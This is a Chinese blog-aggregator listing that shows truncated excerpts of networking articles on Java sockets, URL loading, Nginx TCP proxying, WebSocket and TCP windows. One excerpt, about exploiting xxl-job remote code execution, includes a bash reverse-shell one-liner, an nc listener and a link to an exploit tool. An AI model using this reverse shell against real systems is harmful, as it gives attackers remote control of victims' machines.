Socket通信是Java网络编程中比较基础的部分,其原理其实就是源ip,源端口和目的ip,目的端口组成的套接字通信。其底层还设及到了TCP协议的通信。 Java中的Socket通信可以通过客户端的Socket与服务端的ServerSocket通信,同时利用IO流传递数据,也就是说Socket通信是 ...
分类:
编程语言 时间:
2020-12-04 11:25:43
阅读次数:
7
→ 1- 输入网址→ 2- 缓存解析→ 3- 域名解析→ 4- tcp连接,三次握手→ 6- 页面渲染 一:输入网址 那肯定是输入你要访问的网站网址了,俗称url; 二:缓存解析 浏览器获取了这个url,当然就去解析了,它先去缓存当中看看有没有,从 浏览器缓存-系统缓存-路由器缓存 当中查看,如果有 ...
分类:
Web程序 时间:
2020-12-04 10:56:56
阅读次数:
9
服务器的代码如下,还有一些基础概念 /** * 概念: * ip和端口主要是为了区分服务器的运用的操作 * ipv4的格式 [0-255] xxxx.xxxx.xxxx.xxxx * ipv6的格式 [0-0xffff] 8个xxxx * 可靠:tcp * 不可靠:udp * * tcp可靠的原因 ...
分类:
Web程序 时间:
2020-12-03 11:45:22
阅读次数:
11
背景 生产环境 Nginx 需要增加支持 TCP 反向代理功能,需要再添加--with-stream参数重新编译后,在线升级 Nginx。 在线升级 # 查看当前版本(注意为大写 V) $ cd /usr/local/nginx/sbin $ nginx -V nginx version: ngin ...
分类:
其他好文 时间:
2020-12-03 11:38:14
阅读次数:
3
WebSocket 是一种计算机通信协议,通过单个 TCP 连接提供全双工通信信道。 1、WebSocket 是双向的 -使用 WebSocket 客户端或服务器可以发起消息发送。 2、WebSocket 是全双工的 -客户端和服务器通信是相互独立的。 3、单个 TCP 连接 -初始连接使用 HTT ...
分类:
Web程序 时间:
2020-12-03 11:30:13
阅读次数:
11
升级更新 如果在内网,可能需要配置代理 file->setting->Appearance&Behavior->SystemSetting->Http Proxy 激活 激活这个软件还是花了好长时间的。按照下面教程,可以发现激活有种方式,在线激活和离线激活。在线激活,会报一些无法解决的信息,也没有找 ...
分类:
其他好文 时间:
2020-12-02 12:49:48
阅读次数:
19
bash -i >& /dev/tcp/ip/port 0>&1 服务器监听 nc -lvvp 9999 利用工具 https://github.com/mrknow001/xxl-job-rce bash反弹shell命令 https://www.cnblogs.com/supdon/p/1346 ...
client server; 四次挥手走完, client 发出syn 收到 server的ack后就发出了rst 先记录事件 后续 完整复盘 https://juejin.cn/post/6844903730874171405 https://juejin.cn/post/684490373087 ...
分类:
其他好文 时间:
2020-12-02 12:21:41
阅读次数:
4
今天用wireshark抓取TCP连接时的报文发现客户端的Win变大了,这里是使用了Window Scale来扩张TCP接收窗口,使得接收窗口可以大于65535字节。 首先1号包是TCP第一次握手连接时客户端的请求包,客户端如果窗口大于65535,那么就先将Window size value设置为6 ...
分类:
其他好文 时间:
2020-12-01 12:31:38
阅读次数:
9
背景介绍: 服务器(pc1)单网卡 配置为100.72.139.1 默认路由配置为100.72.139.254(此为h3c防火墙(简称R1),100.72.139.254是其内网地址,166.111.110.217是其外网地址)。现在100.72.139.0/24网内存在 100.72.139.2的 ...
分类:
其他好文 时间:
2020-12-01 12:02:56
阅读次数:
4